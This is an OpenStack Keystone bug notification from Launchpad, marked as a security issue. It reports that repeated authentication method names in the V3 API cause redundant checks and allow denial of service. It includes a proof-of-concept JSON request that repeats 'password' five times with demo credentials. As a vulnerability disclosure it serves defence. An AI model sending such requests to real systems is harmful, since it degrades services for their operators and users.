Open Stack

** Also affects: ossa
   Importance: Undecided
       Status: New

** Information type changed from Public to Public Security

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https://bugs.launchpad.net/bugs/1300274

Title:
  V3 Authentication Chaining - uniqueness of auth method names

Status in OpenStack Identity (Keystone):
  In Progress
Status in OpenStack Security Advisories:
  New

Bug description:
  In V3.0 API,  we can chain authentication methods. An attacker can
  place the same authentication method multiple times in the methods
  filed. This will result in the same authentication method checking
  over and over (for loop in code).  Using this, an attacker can achieve
  some sorts of Denial of Service.   The methods field is not properly
  sanitized.

  {
     "auth":{
        "identity":{
           "methods":[
              "password",
              "password",
               "password",
               "password",
               "password" 
           ],
          "password":{
              "user":{
                 "domain":{
                    "id":"default"
                 },
                 "name":"demo",
                 "password":"stack"
              }
           }
        }
     }
  }

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